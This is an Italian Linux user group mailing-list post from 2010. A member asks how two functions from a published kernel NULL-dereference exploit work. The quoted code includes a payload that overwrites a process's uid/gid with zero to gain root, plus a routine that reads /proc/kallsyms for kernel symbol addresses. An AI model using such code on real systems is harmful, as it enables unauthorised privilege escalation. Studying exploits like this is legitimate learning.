[LugBS] Problemi di memoria
Carlo Bertoldi
mcbain a tiscali.it
Gio 15 Apr 2010 15:14:07 UTC
Ciao,
ho un problema: oggi mi sono perso nel leggere questo articolo:
http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/
in cui viene spiegato come è stato scritto l'exploit per sfruttare i
puntatori a null presenti nel kernel di linux.
Ora nell'exploit di esempio c'è la seguente funzione:
/* This is the pattern-matching trick for older kernels. */
void old_get_root(void) {
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
}
Questa funzione dovrebbe fare la stessa cosa che fa la seguente per i
kernel >= 2.6.29
void *get_ksym(char *name) {
FILE *f = fopen("/proc/kallsyms", "rb");
char c, sym[512];
void *addr;
int ret;
while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
if (!strcmp(sym, name))
return addr;
}
return NULL;
}
il cui funzionamento non mi è per niente chiaro. Lo scopo è quello di
trovare il puntatore ad una certa funzione (presumo)
L'unica cosa che sono riuscito ad intuire è che quel 8191 ha a che
fare con la dimensione di 8K dello stack (sempre che non abbia preso
una
cantonata).
Qualcuno mi potrebbe illuminare?
Grazie,
Carlo
--
È molto più bello sapere qualcosa di tutto, che sapere tutto di una cosa.
Blaise Pascal
Maggiori informazioni sulla lista
Lug
|